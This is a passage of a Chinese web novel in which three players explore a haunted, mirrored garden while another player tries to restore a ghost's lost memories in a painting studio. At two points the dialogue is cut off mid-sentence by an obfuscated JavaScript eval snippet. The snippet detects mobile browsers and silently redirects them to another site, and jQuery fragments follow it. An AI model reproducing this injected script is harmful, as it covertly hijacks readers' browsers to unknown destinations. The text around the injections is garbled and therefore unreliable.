秋原闻言低头,回答道:“应该能。” 祁晚:“那……”你来把柳州与放开。 秋原根本不等她说完,道:“确实有片花园,要往上走。兰迪在那里。” 祁晚:“嗯?你说谁?” 秋原也来到柳州与的椅子后面,指尖燃起火苗,看样子是打算一把火把绳子烧掉,“兰迪.门罗在花园里。我以为亡灵指的是格斯塔呢,居然是兰迪。她的话……会是在找什么呢?” 这就没人知道了。 祁晚后退一步,“那就只能上去再说了。” 柳州与只能听见背后两人说话,看不见发生了什么,只觉得陌生的热度烘烤着她,“你们干什么呢?好热啊?” 祁晚:“是要把这个绳子烧掉?会把柳州与的手腕烫坏的。” 秋原:“不能烧那里吗?” 祁晚:“你看她已经在躲了——你不能控制一下这个火吗?尽量别伤着人。” 秋原:“控制能量好难的,我不会……对不起,换成别人没准会……” 秋原:“而且这个绳子点不着,烧不掉。” 祁晚:“算了。” 祁晚:“反正死人也不会受伤,无非是疼一下——你直接烧椅子吧。” 秋原没回答,应该是点了点头。 柳州与只觉得自己身后的热浪骤然放大,她整个人都发烫,头发好像也被燎着了。 “干什么呢?!”她整个人拖着椅子跳起来,“干什么呢啊?!要搞烧烤小与吗?” 祁晚顺手将椅子和柳州一起按住与,强制自己忽略椅子上的火焰,道:“你放心,烧不死的。这事我有经验,在这个地方就算跳崖都不会有事,你已经是死人了——” 柳州与根本不想听,“我信你个鬼!放开我啊啊啊啊啊啊啊——” 祁晚只得更用力地按住她,“秋原!加大火力!她劲怎么突然这么大我有点摁不住她了——” 秋原:“好!” 柳州与:“啊啊啊啊啊魔鬼啊啊啊啊——” 37. 肖像(5) 最终椅子没有烧完,烧到一半时就被祁晚暴力撕开。柳州与腿已经软了,被祁晚单肩扛着,脸上的表情非常麻木。 祁晚扛着柳州与,秋原走在前面带路。三人走在一段螺旋向上的阶梯上,按秋原的说法,往上走就能到花园。 本来应该柳州与带路的,但她现在的状态不是很适合干这件事。 “我居然没死。”柳州与被扛着,喃喃道:“好刺激哦。胡,呜呼——” “呜呼——呼——” 祁晚:“都说了你已经是死人了,死不掉的。” 柳州与:“呜呼——” 秋原:“为什么她发出这种声音。” 祁晚:“可能精神有点失常了。没事,过一会就好了。” 秋原:“为什么会失常?” 祁晚:“毕竟是被活烤了。我在小镇那个世界学了不少东西,起码知道我在这大概是个精神体,没有实体,也能控制自己……她不像我,她还没接受自己已死的身份,会对这种事情有反应也正常。” 她在早就学到了“自己没有实体”这件事,自然能对这种常规伤害视而不见。但柳州与不一样——这么一搞,刺激恐怕真有点大了。 她如此想着,咂了咂嘴。 不知道那个E级教材还能不能搞到,应该给柳州与学一下。 听她说完,秋原一脸懵懂,“哦。” 看这个表情,祁晚就知道她没懂。 秋原开始放空。 这是查她那个资料库呢。 谁也不知道这条走廊怎么这么长,又走了三四十步,秋原终于查阅完她想查的部分,问道:“创伤后应激反应?不对吧,柳州与以前没被火烤过呀?” “你给我讲讲。”秋原放慢速度,凑近过来,“资料库不算很全啊……我补充一下。” 如果不是真的遇上,祁晚这辈子都不会想到,自己有一天居然要给一个外星人解释“人类为什么怕火?”。 离了大谱了简直。 算了,说吧,反正也没事干,还能免去秋原再质疑她的智商的可能。 “这是人的生物本能。”她道:“毕竟人会烧伤,还会窒息,怕火能够有效规避危险。” “中世纪被打成女巫的女人就会被架上火刑架。”祁晚继续解释道:“会这么做,就是因为那很痛苦,是种虐杀。” 秋原:“唔……哦。” 秋原:“可我觉得火是好东西。” 祁晚:“……我就多余跟你解释。” 说完最后一句,她们走到了顶。 地下室的入口处是一块厚重的木板,木板上安着把手。把手是银色的,很干净,好像经常有人使用。 秋原来回比划了两下,没弄明白应该怎么用把手,但弄明白了把门打开就行,于是决定用头把地下室门顶开。 祁晚一手扛着柳州与,另一手按住了秋原的脑袋。 秋原:“?” 祁晚推开了地下室的门。 ——好心累,她亲自生一个都不会比现在更累了。 随着地下室出口的打开,柔和的阳光洒落进来,秋原收起用以照明的光球,一片精致的花园出现在她们眼前。 花园中央,矗立着一座喷泉,水面上浮着几片不知名的花瓣,边缘已经长了一圈青苔。 喷泉周围则环绕着层层叠叠的花坛:最内圈是深紫色的鸢尾;往外是成片的粉白相间的大丽花;最外围则是明黄色的金盏菊,在曦光中灿烂得几乎要燃烧起来。花丛间,偶尔还会闪过一两只蝴蝶。 地下室入口挨着围墙,围墙上爬着厚厚的一层爬山虎。 离她们不远还有一处花架,架上开满紫藤,架下摆放着藤编的桌椅;还挂着秋千,没有风,但秋千还在摇晃着。 柳州与挣动了两下,清醒了,“啊,出来了。” 她终于清醒过来,祁晚顿时如释重负,立刻把她放下。 “来的时候我就想说,这园子真好看。”柳州与本来就坐久了,又被扛上来,血液循环不畅,一瘸一拐地把自己贴到爬山虎墙上,深吸一口清新的植物气息,热泪盈眶,“活过来了——” 无人在意某人的动向,祁晚的目光在花园中巡梭,“所有景色都跟画里画的一样,格斯塔的画都是在这个花园里画的。” 柳州与:“什么画?地下室门外的画廊吗?你们没带我去看啊?” 秋原看向还在摇晃的秋千,“兰迪不见了,刚才她还在秋千上的。” 柳州与:“一开始我就想问,你们怎么知道那个女人的名字的?” “她什么时候走的呢?”祁晚想着,把柳州与从爬山虎里薅出来,走向花架,道:“秋原,你把画廊的画面给柳州与看一下,咱得确定一下把她绑起来的到底是是不是兰迪。” 秋原很迷茫,虽然照做了,但还是要问:“……是兰迪呀?我没有认错人啊。” 祁晚:“柳州与是在咱俩进地下室之前被绑起来的,万一那时候出现在花园里的是格斯塔怎么办?既然兰迪能这么快消失,那格斯塔肯定也能。” 秋原了然,“而且亡灵也不一定只有一个。” 祁晚很欣慰地摸了摸她的头,“孺子可教。” 柳州与则看着秋原递给她的光球,感觉这实在是太炫酷了。 光球里是立体的略缩图景,包含了她们所在的花园和刚刚经过的地下室和底下走廊——她都认识,唯一不认识的就是地下室南侧的一条画廊。 确实有很多幅画挂在那里,就是略缩图景太小了,她有点看不清。 她捧起光球,眯着眼仔细看过去。 “这个可以放大的。”秋原见她捧着球看,很贴心地凑过来,双指拉了一下,“你看,这样就能放大……你不知道图片双指拉大吗?我明明是按照人类常用的设置设计的……” 柳州与:“……” 这么炫酷的高级东西,谁能想到这个?为什么是手机操作设置啊?! 柳州与:“不长嘴的不许当设计师……” 柳州与,我的嘴替——祁晚顿时跟柳州与同病相怜起来。同时还产生了一点幸灾乐祸,因为终于有了第二个被秋原祸害到的人。 但对秋原这个不长嘴的小外星人还是要教育一下,于是她对秋原道:“下次你可以提前说一下使用方法,我们真的不知道。” 秋原根本没在听,放下光球就自己走开了。 这小混蛋。 柳州与又将画廊部分放大了一点,仔细看着那些画。 “能看清了吧。”祁晚道:“我离这么远都能看清了。一男一女还不好分吗?” 难不成格斯塔跟兰迪俩人长得很像?所以柳州与这么仔细看都看不清? “唔……”柳州与又将画放大了一点,“能看清,就是这个女的,长相一样的。我多看看细节嘛,要不然你们知道的我都不知道……她叫兰迪.门罗啊。” 扒拉到头,她放下手,“我遇见的兰迪是35岁左右的样子。刚才光看四五十岁那段的了,一眼没认出来。” 这些画蕴含的信息量确实是蛮大的,祁晚道:“你再看看后边的。” 柳州与依言往后翻。 她翻着,祁晚说着:“这些画每幅都有落款,写着时间。现在的时间线是:1998年兰迪死亡,2013年格斯塔去世。然后在去世的前五年,也就是从08年开始,格斯塔失忆了。” “或者准确点说,不是失忆,是老年痴呆了。” “所以秋原推测,胜利条件里所指的亡灵应该是格斯塔,因为他先失去了爱人,后来又失去了记忆。我感觉有道理。结果你遇见的居然是兰迪,事情就不太明朗了。” “毕竟我们连兰迪想寻找什么都不知道。而且兰迪在的话,这里的亡灵搞不好也不止一个。” 柳州与点了点头,看到最后那几幅画,默默将光球拿远了。 最后那几幅画,从色调到线条,没有一处不诡异,有点触发她的恐怖谷。 “有点吓人。”她说:“什么亡灵啊,还不止一个的……还有这些画,我有点害怕……阿尔茨海默症病人的世界这么可怕吗。” 祁晚点了点头,“我也是第一次知道。” 柳州与:“你第一次知道?那你是怎么推断出来的?” 祁晚摊手,“所以不是我啊,是秋原。她说她对比了资料库,也只能相信她了。” 柳州与又拿起光球,愈发迷惑,“什么资料库,还有这个,这都什么炫酷东西……秋原哪来的?你也有吗?不会就我没有吧?” “还有上次,就小镇那次,我跟你说过的。小镇那场秋原她突然消失的事。”柳州与继续道:“她怎么回事?你问过她了吗?” 信息太杂乱,祁晚差点把这事忘了,她一拍大腿,“害,忘了跟你说了……秋原不是人类,她说她的种族叫什么来着……对了,光民!” 柳州与:“……” 祁晚:“想太多也想不明白,秋原自己也说不太明白,我都放弃思考了——你简单理解吧,你知道她是个现在回不了家所以努力想赢游戏的小外星人就行了。” 柳州与:“……啊?” …… 秋原绕过喷泉,独自走向花园北侧。 这里的景色…… 她迟疑着侧身站定,对比自己的左右两边。 右边是喷泉、颜色过渡和谐的花坛、紫藤花架、藤编座椅、满墙的爬山虎……而左边的风景,与右边完全一样。 如果说花园的主人是对称狂魔,故意搞了这么一处花园——但连喷泉落下的水滴,和每一片花瓣的角度都完全一样的话,就不可能是人为了,绝对是有异常。 她眼前好像有一条对称轴,将花园的风景完全对称了过去。 于是她朝“对称轴”的位置摸过去。 被挡住了。 但是触感……她的手来回移动,发觉这里的触感跟空气墙不一样。 是有什么固体的东西横亘在这里。 只是她无法判断挡在这里的固体是什么,大概率是人类的什么造物,她没碰过的那种。 所以……她需要一个人类。放下手,她如此想:她需要一个能根据触感认出自己造物的人类。 说到人类…… 她转身,朝着来时的方向跑去。 …… 彼时祁晚跟柳州与正在研究喷泉。 “你还记不记得?狼羊游戏那个世界也有喷泉,但是假的,近看全是像素块。”祁晚感受着喷泉带来的凉气,很享受,“这里的完全是真的了。” “我没注意当时光想着怎么赢了,根本没出过门。”柳州与一脸渴望地望着喷泉,“我好渴,能喝一口吗?我好久没喝水了。” 祁晚拉住她,“你现在要摒弃你还活着的思想,忘记你活着的状态——现在咱们都是死人了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229483|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死人是不需要喝水吃饭和休息的。” 柳州与:“我真的要冒烟了……说什么呢?好高深啊,我听不懂……你到底经历了点什么?” 祁晚:“那不重要,现在就说你。你刚才都没被烧死,连一点伤都没受。你自己不觉得不对劲吗?” 柳州与不说话了。 想着学东西要一点点来,祁晚换了个说法,“而且这个水也不知道安不安全,万一有寄生虫呢?渴了也别乱喝吧。” 柳州与:“这下我真不想喝了。” 俩人正聊着,不远处传来秋原的喊声。 “柳州与!祁晚!” 她还是那身烧焦的破烂lo裙——也不知道给自己换一身——她一路绕着喷泉小跑过来,裙摆在空中一晃一晃的,银发和浅色的瞳孔也在曦光中闪耀。 她在光里,花园里所有的花都黯然失色。 “真的很好看。”柳州与下意识地把捞了一把水泼在脸上,冰凉的水滴顺着下颌划下,“你说她是外星人,那她的人类外表也是伪造的吧——是专门按照人类的审美设计的吗?” “可能吧。你往自己脸上弄水干什么?要洗脸好好洗。”祁晚很困惑,看向停在她们五米之外的秋原,高声问道:“怎么了?” “那边有东西。”秋原指向花园北侧,“我不知道是什么……你们来看一下。” “行。”祁晚拉了一把柳州与,“走吧。” 柳州与没立刻走,而是回头又捧了两把水泼到脸上,搞得整个前襟都湿了,“走。” 花园没有多大,秋原在“对称轴”旁站定,“就在这里。” 柳州与不知为何也放空了起来,祁晚只得自己伸手去摸空气,“这里吗?” 秋原:“你手再往前。” “……再往前?”祁晚感觉自己这姿势像个傻子。 她又往前迈了一步,终于感觉有什么东西挡住了自己的手指。 “咦?”她一下子瞪大眼,“这里——有块玻璃?” “柳州与!柳州与!”她立刻回身拽了拽柳州与,并叫上秋原,“现在!咱们去接点水泼在这里。” 柳州与:“哦……我去拿容器。” 然后呆愣愣地就走了。 秋原不动。 柳州与不对劲就算了,怎么这位祖宗也不动了。 祁晚:“……您又怎么了?” 秋原扭起手指,“我害怕那个东西……” 祁晚:“那个?” 秋原:“就是,那个……喷泉。” 秋原:“我怕水。” 祁晚:“……” 祁晚:“我不能理解,真的。”外星人怕水吗?居然? 柳州与动作很快,此时已经用桌上的空茶壶接了一壶水回来,直接泼在了看不见的玻璃幕墙上。 水珠顺着“空气”流下,墙的位置清晰可见。 “她怕水就别让她去嘛。”柳州与泼完水,放下茶壶,塞给祁晚一个茶杯,“又不缺她一个,咱俩就够了——这样墙的位置就可以确定了吧?还需要水吗?” 祁晚:……你说得我好像个坏人。 然后她看向空中的水珠,“算了,不说了……这样差不多了。” …… 画室。 虽然有一扇巨大的落地窗,但窗外如同被雾气笼罩,灰蒙蒙的,因此屋里的亮度也不算很好。 靠近窗户的墙边摆着一个巨大的画架,摆放着一幅画了一半的画。 门边摆放着一具沙发,坐着一个黑发黑眸的女人。 她的对面坐着一个男人,男人随手找了个小马扎坐下,手里抱着一幅画,是雷铭。 “你仔细想想。”雷铭指着画上金发蓝眸的女人,“你整个画室,所有画,画的都是她。你看看,名字还写着呢,兰迪.门罗——你真的想不起来吗?” 女人捧起那幅画,指尖描摹着画中人的五官,看着画的眼神亲切又迷茫,“很熟悉……可是她是谁?我真的不记得了……” 雷铭叹气,走向窗边,拿起另一幅画,“你看,这是你画的,窗外的花园。” “这幅是晴天,这幅是雨天,这幅是冬天,下雪了。”雷铭快把屋里的画全记住了,一幅一幅地给女人指,“你看下雪的这幅,兰迪在堆雪人呢——你不记得了吗?” 女人摇头。 又一次失败,雷铭低头掐眉心,开始思考究竟怎么能让这人恢复记忆。 暴力手段暂且不考虑,暴打游戏boss怎么想都不是明智行为……那从她的名字开始怎么样? 于是他再次抬头,问道:“至少你还记得自己叫什么吧?” 女人点了点头,道:“我叫格斯塔。格斯塔.门罗。” 她看着雷铭,还是那样空洞的眼神,“你说你是来……帮我找回我所失去的,是吗?” 雷铭点头,“对,我是来帮你的。” 女人看向窗外,“可我没觉得我失去什么。” 雷铭也看向窗外,“我不是没有原因的来到这里。你只是忘了而已,把你失去的东西也忘了。” 窗户上出现了几个手指印。 雷铭:“?” 格斯塔:“?” 手指印很快消失,两人正困惑着,窗户上又出现了水。 雷铭的困惑顿时转为惊喜——系统说有N名玩家,N果然不等于1! 别的玩家来了! 38. 肖像(6) “然后呢?”柳州与看着顺着空气流下的水滴,“咱们还是进不去啊?” “我不是为了进去。”祁晚道:“系统没说这次游戏的具体人数,里边没准有。咱们没办法进去,但里面的人也许有办法出来——让对面知道咱们来了,ta有办法的话,就会出来接应咱们了。” 柳州与竖起大拇指:“天才。” 祁晚的鼻子快要翘上天了。 “说起来你怎么用这个接水?”祁晚端起手里的茶杯小欣赏了一下,又看向柳州与手里的茶壶,感觉都精致得堪称艺术品,“用它们接水总感觉有点浪费……而且你也不知道涮涮壶。” “又没别的容器。”柳州与无奈,“要不我拿那边那个猪笼草接?那里边有溶了一半的虫子尸体啊。” “那还是算了……” 祁晚看着水珠,揉了揉眼睛——不知道是不是她的错觉,刚才水珠好像倒影出了除她们三个以外的人影。 秋原也在看,于是她推了推秋原,“刚才你看见了没……” 秋原回给她一个很迷茫的眼神。 下一秒,秋原转开脑袋,不再看她,而是又看了一眼水滴,“这个颜色还蛮好看的。” 再下一秒,她发间的挑染全部变成了与水滴相同的暗红色。 然后她很欢乐地蹦了起来,“好看吗?” 柳州与把壶里剩下的水从自己头顶浇下去,面无表情且由衷地道:“好看。” 祁晚:“……”咱能关注一下游戏吗? 她叹了口气,不再关注这俩活宝,余光中,水珠上倒映的人影又变了一下。 好像……她立刻死死盯住水珠:刚才闪过的,好像是两个人? …… 窗外依旧灰蒙蒙的,格斯塔也来到窗边,看着玻璃上悬挂的水珠。 水珠并不是透明的,而是泛着淡淡的红色。 很熟悉的暗红色。 很熟悉…… 那是好像是午后,阳光温和惬意,她坐在亲手编织的藤编座椅上;身后的秋千摇晃着,因为忘了加润滑油,发出咯吱声;头顶应该是繁密的紫藤花;小桌上摆放着刚刚沏好的红茶,冒着热气,散发的香气与花香纠缠在一起。暗红色的茶水落入白瓷杯,茶声潺潺,跟喷泉的水声缠绵不清…… 她记得,沏茶的人很擅长掌控水温和时间,也很擅长挑选茶叶。所以茶水香气扑鼻,暗红色的茶水清澈透亮…… 就像这玻璃上的水珠。 只是,隔着玻璃,她碰不到那水珠。 就好像她也碰不到那清透美好的记忆。 喜悦之余,雷铭也没忘了游戏,“你想起什么了吗?” “这是红茶。”格斯塔望着水珠出神,“是我很爱喝的一种。” 没想到格斯塔的记忆居然因为这滴水有了进展,生怕自己的发言影响到她,雷铭顿时紧张起来,小心翼翼地问道:“还有吗?” 格斯塔蹙着眉,“紫藤花,秋千,我手编的桌椅,喷泉,还有茶……还有一个人,是谁……来着?” “这些东西,还有那个人,都在哪?”雷铭俯下身子,平视着她,希望尽量引导她的记忆,”能从这扇窗户看见吗?” 格斯塔拧着眉头,“我想不起来了……” 根据她的描述,雷铭迅速找出来一幅晴日的风景画,画里的金发女人,即兰迪正坐在桌边品茶,他指向画的右下部分,“紫藤花,秋千……你看,是不是这个?” 格斯塔抬头,迷茫的眼神瞬间清明,“对……对!是这!是这!” 随着她的应答,窗外靠近东边的一处迷雾即刻散开,露出了一个花朵繁密的紫藤花架,架下悬挂着秋千,旁边摆放着藤编桌椅。花架西边,差不多是窗户中心的位置则出现了半截喷泉。 雷铭眼睛一亮。 有戏! 格斯塔失去的果然就是记忆,如此,只要他继续努力下去,游戏就能完成了。 只是…… 玻璃外悬挂的水珠已经开始干涸,他又有点犯了难。 他仅有的进展就来自这水,而这些水是窗外可能存在的玩家泼的。 要是能联系到窗外的人还好,可以配合一下。但问题就是联系不上。 而且,从格斯塔的画判断,窗外应当是花园。如今一部分花园变成了屋里可见的,这对屋外花园里的人是否会有影响? 假如没有还好:假如有,当整片花园都变成屋内可见,屋外的人是会随着一起出现,双方汇合;还是会……失败? 这都未可知。 他正纠结着,格斯塔已经直起了身,表情很疲惫。 “我想不起来她是谁了。”她表情疲惫,声音也疲惫,兀自拿过雷铭手里的画,看着品茗的女人发呆,“明明应该很重要的,可是我……我为什么,把她忘了呢?” “别着急。”雷铭只能安慰她,“越急越想不起来,慢慢来。” 格斯塔:“嗯。” 格斯塔:“说起来,我都忘了你是客人了,真是不好意思,我状态不好,怠慢你了。我带你去客房吧,帮了我这么久,你也该休息一会。” 雷铭感觉自己并不需要休息,但只要能出房间,没准就能找到去花园的路,于是他应下,“好,谢谢。” 临走前,他又瞥了一眼水珠,它已经快蒸发了。 仅存的水珠上,划过了三个人影。 不是他和格斯塔。 格斯塔已经走到了画室门口,很疲惫地打开门,纳闷他怎么没有跟上,“雷先生?您看什么呢?” 雷铭只得迅速跟上,“没事没事,刚走了个神……走吧。” …… 秋原跟柳州与不知道在搞什么,祁晚只能自己死盯着水珠。 结果直到它快蒸发,方才划过的人影也没再出现。 “错觉吗?”她实在是眼睛痛,只得不再看,站起身来揉着酸痛的眼睛,“柳州与,秋原,你们两个干嘛去了……嗯?” 紫藤花架,秋千,藤编桌椅,还有半截喷泉,全变成了诡异的黑白灰。 尤其喷泉,从正中间对半分开,一半正常流动,另一半则全变成黑白灰的“雕塑”,很不和谐,相当诡异。 “你好像很认真,柳说先别打扰你。”秋原见她终于起身,道:“你发现什么了吗?” “什么都没有……水珠里的人影可能是我看错了,我也不太清楚。”祁晚急道:“你先告诉我这是怎么回事?什么时候变成这样的?还有,柳州与去哪了?” “不知道怎么回事。发生的时间的话,就在刚才,到你发现才27秒。突然就这样了,一瞬间。”秋原指了指凝固的喷泉,“柳说她去另一边看看。” 秋原话音刚落,柳州与就从喷泉另一边探出了头,“哪边都一样,都碰不了,变成无色的部分都无法接近——祁晚,你有发现吗?” 祁晚摇头,“没发现……可能是我的错觉吧。” “玻璃那头肯定有东西,我不觉得是错觉。”柳州与走过来,才注意到自己手里还拿着茶壶,于是顺手将茶壶放在可以触碰的那一半喷泉的边缘,道:“再来点水吧,咱们这次一起观察——我觉得有可能是玻璃那边发生了什么了。” 道理是这个道理,没什么问题,就是…… 祁晚想到她刚才一系列的失智行为,感觉反差很大,“你怎么突然有脑子了……” 柳州与给了她手臂一拳,“啧,怎么说话呢?” 祁晚:“不是,我说实话,你打我干嘛?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250461|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳州与:“我真服了,你不要仗着自己是美女就瞎说话……” “当心!”有人一声喝住了她们两个。 秋原同时拉住她们两个,掌心窜出两条长龙般的火焰,围成圈,将她们围在了中间。 “呼——呼——” “砰—— “咔嚓——哗啦——” 霎时,花园中狂风大作。喷泉旁、“对称轴”旁、以及不远处的藤编桌上,齐齐传来了清脆的爆裂声。 柳州与吓了一跳,不敢抬头,“啊——” 祁晚想抬头但抬不起来,“怎么,回事?!” 然而秋原已经放开了手,也收起了火焰,“唔,没事了……” 这风去得跟来得一样快,这就停了。 祁晚终于成功抬头,“没事了?” 这次秋原有了自觉,没等别人问她,她就自己解释了起来:“刚才……唔……可能……有人来,了?” 祁晚:“什么意思?” 有人来就有人来,怎么还带问号的。 秋原:“就是有人来了,可能是亡灵吧?大概。我没认出来是谁。” 祁晚:“你仔细想想,一点都没看见吗?兰迪的金发很明显的吧?” 秋原:“我真的没看清……她好快……” 柳州与吓了一跳,此刻终于喘匀了气。她第一时间回头看去,只见精致堪称艺术品茶壶已经炸成了碎片,散落在地面上。而祁晚随手放在“对称轴”旁的和遗留在桌子上的茶杯也是这样。 “……为什么?”她看着这些,低声喃喃,“为什么是这些?是因为什么……都是茶具?” “为什么偏偏是茶具?” “茶具有什么特别的吗?” 柳州与连着抛出问题,两人陷入沉思,一非人放空。 片刻后,秋原对比完了资料库,道:“资料库里没有。咱们还是去看水珠吧,不要浪费时间了。” “我知道你着急,但也别这么急。咱们接点水再过去。”祁晚答应着,还是忍不住吐槽,“但这种东西就别去你那个资料库里找了吧?资料是死的人是活的,这种推理性质的东西你得思考啊,不思考要怎么赢游戏啊?” 秋原:“可我不是人啊。” 祁晚额角暴起青筋,但保持微笑:“资料是死的光民是活的,行了吧?总之你得思考,懂了吗?” 秋原:“好吧。” 祁晚:“那就接水……咦?” 柳州与叹气,“你也发现了吗?” 同时,她还指了指花园的另一头,“我看见了,连那边的猪笼草都枯死了,就刚才,一瞬间。” “通过水珠能看见‘玻璃’的另一边,喷泉离‘玻璃’这么远,要水就必须要容器,阻拦我们的人恐怕是有不想让我们看见的东西。” “所以是谁会不想让我们这么做?你们两个了解的比我多,快想。”柳州与说着,戳了戳秋原,“刚才那些资料和略缩图再给我看看。” 秋原依言取出并递给她,“喏,给你——你好聪明哦。” 祁晚本来还在思考,听见这句就有点卡壳,“你怎么没这么夸过我?”倒是质疑过她的智商。 秋原给了她一个很困惑且理所当然的眼神。 太伤人了,不如不问,她就不该嘴欠这一句。 压制住吐血的欲望并保持微笑,祁晚脱下外套,走向喷泉。 没容器咋了?衣服也可以吸水。 不知为何,柳州与也跟了过来。 祁晚:“你不看资料吗?等你推理呢。这个我来就行了。” 柳州与没理她,这次直接把自己的头泡进了水里。 祁晚:“……” 祁晚:“所以你为什么又失智了?” 39. 肖像(7) 柳州与时而智慧时而失智,不能指望她;秋原怕水。于是祁晚只能自己拎着浸满水的外套走向“对称轴”。 这次的水在“对称轴”上形成了一层水膜,借着水膜的反光,祁晚看清了另一边的景象。 一间摆满画的画室,作画风格很熟悉,像是格斯塔的手笔。 ——但没有人。 “不应该啊……”阳光下,水膜以肉眼可见的速度蒸发。不知为何比常规的速度要快一些,祁晚皱眉,“我真的看错了?” 秋原悄无声息地凑过来,“唔……” 祁晚吓了一跳,”你什么时候过来的。” 秋原不回答,只是看着玻璃上剩余的水膜。 “这样的话,我好像可以过去。”她说。 祁晚:“啥?” “就是可以。”秋原点了点头,像是确认了什么。随后还给破天荒地主动祁晚解释了一下:“按你们人类的概念来讲,我是光嘛。按你们的感官就是,只要是你们能看见的地方,我就能过去。” 这一刻,秋原变成了光。 再下一刻,她消失了。 借着剩余的水膜,祁晚看见画室里亮了一下。 ……走得好干脆啊? 柳州与把脑袋从水池里拔出来,头发跟前襟几乎全湿,气还没喘匀,见到的就是这一幕。 祁晚:“……你见过她这样没有?” 柳州与还在咳水,“咳咳……没,但我觉得她在吹牛。” 她快步走到“对称轴”旁,因为动作太大,身上的水还洒到了祁晚身上。她一脸的不可思议,“上次那个空气墙她明明过不去……怎么回事?” 祁晚默默抹掉自己手臂上的水,“外星人,自然不可以常理揣度——你脑子又捡回来了啊?挺好的。” 柳州与幽幽抬头,“你到底会不会说话?” …… 恢复记忆可能确实是一件很费精力的事,雷铭想:不然格斯塔不会一把他安排到客房,就马上告别去休息。 听见格斯塔的房门咔哒一声关上,他跟了出去。 不知道游戏boss会不会介意客人在房子里乱逛,听人墙角也属实是不太礼貌……但果然还是不被发现最好,保证格斯塔睡着还是有必要的…… 雷铭轻手轻脚地靠近格斯塔的房门,附耳上去,听见了几声大概是收拾被褥的声音。不多时,房间里彻底安静下来,什么都听不见了。 她睡了。 雷铭松了口气,尽量放轻脚步,在房间里游荡起来。 他现在正身处一座小别墅里,在二楼,卧室都在二楼。二楼除了三间卧室,还有一间很大的阳光房,感觉像练舞室,拿来睡午觉也很合适,想多了……顺着楼梯向上,还有一处小露台。 一楼是客厅、厨房、入户门等,方才的画室也在一楼。屋子的主人很有情调,客厅里设置了专门的酒廊和茶室。花瓶里插着新鲜娇艳的花,花色有点眼熟。 这些都是可见的,雷铭将这些地方都转了一遍,没发现什么异常,于是将视线转向唯一一间关着门的房间。 他尝试着扭动把手。 果然,打不开。 然后是入户门,只要打开入户门就能直接出去…… 不出所料,也打不开。 他随便找了张椅子坐下,开始思索胜利条件。 找到其余游戏玩家,还有一条语焉不明的什么亡灵返世,要找回什么。但究竟是要找回失去的什么东西? 也没说明白。 他到这里后只遇见了格斯塔一个人,亡灵除了格斯塔不作他想;而目前来看,格斯塔最大的特征就是失忆,要找回的东西除了记忆也没别的可能。 但是……这样的话,未免也太简单了。 他总感觉这场游戏不会那么简单。 难道,难度都在寻找其他玩家这一条上? 也不是没有可能。 思及方才玻璃上被人泼上的水,雷铭起身,走向画室。 要说哪里最有可能有线索,最有跟外界联系上的可能——果然还是那里。 走到画室门口,雷铭正要开门就听见里面有人说话,立刻以迅雷不及掩耳之势收回了手。 是个女声。 是谁?是画上的那个女人吗?兰迪.门罗? 如果是,她为何在这种时候出现?早些出现不是更好?如果不是……如果不是那就糟糕了,游戏里出现了一个任何线索都没提及过的人,或者不一定是人,怎么想都不是好兆头。 雷铭不敢开门,只默默听着,心说要是有不对他立刻就跑。 …… 秋原从光点汇聚成人形,轻巧地落在地面上。 环视四周,她发现这里是间画室——地上很乱,四处散落着画具和颜料。还有很多已经完成了的画作,看画风都是格斯塔的手笔。 就是…… “没人啊,都走了吗?还是看错了?”秋原见屋里没人,便打量起几乎完全是灰色的窗外,发现了亮点。 从位置来说,这间画室应该能看见整个花园,然而现在她进来了,却只能看见灰蒙蒙的雾气,仅有的能看见的部分是紫藤花架和半截喷泉——正好是在花园里里时碰不到了的那部分,两边是对应的。 这应该意味着什么? 秋原认真思考。 秋原想不明白。 秋原放弃思考。 “要是她们两个在这里就好了。”于是她蹲下,试图寻找剩余的水膜,想出去将此情报通知柳州与和祁晚,却发现窗上的水膜已经干透了,一点没剩,不由得愣住,“咦?啊……这样我出不去了呀。” 得想办法通知外边再弄点水来。 可是……要怎么通知? 她召唤出自己制作的游戏略缩图,想看看有没有能出去的路,然后她直接惊住。 都没了。 地下画廊、地下室、花园——有一个算一个全没了,换句话说好像是被删除了,略缩图里只剩下她所在的画室。 完蛋了——秋原开始慌:她是不是又被发现了?可是她这次没翻什么太要紧的东西啊……也没乱改规则,游戏的制作者该不会这样也要来找她麻烦…… 拜托!她真的错了!她之后一点都不乱动了好吗?千万别再来抓她了求求…… 然而吓得不敢动弹了一会,什么都没发生。 难道并不是又触怒了对方,而只是规则所限吗? 应该是这样,秋原自顾自地松了口气,翻阅起资料库里的常见人类户型图。 那就继续游戏好了。 大体来说,人类的居所都需要最少一个能出去的门,她目前没别的办法,得先找到那个门。 “那就先出去吧……”她迟疑着走向画室门口,“我得回花园里……希望顺利……” 来到门边,她意识到这里的门跟狼羊游戏的相同,好像都是往下拧的。 她将手搭在门把手上,向下拧动。 …… 雷铭在画室门口听着,保持着一个“预备跑”的姿势,想着画室里的“人”只要有一点要出来的迹象,他马上就跑。 然而他听着听着,不自觉放下了警惕,有些疑惑起来。 这个声音……怎么有点耳熟?他肯定在哪听过,而且就是最近。 屋里的人并没有很多话,他也只能分析出有限的信息——但也不算少。 一开始说的是:“屋里没人”,也就是说,这人来之前是看见过屋里有人的。 很难讲,难道这屋子是外面能看见里面,里面却看不见外面 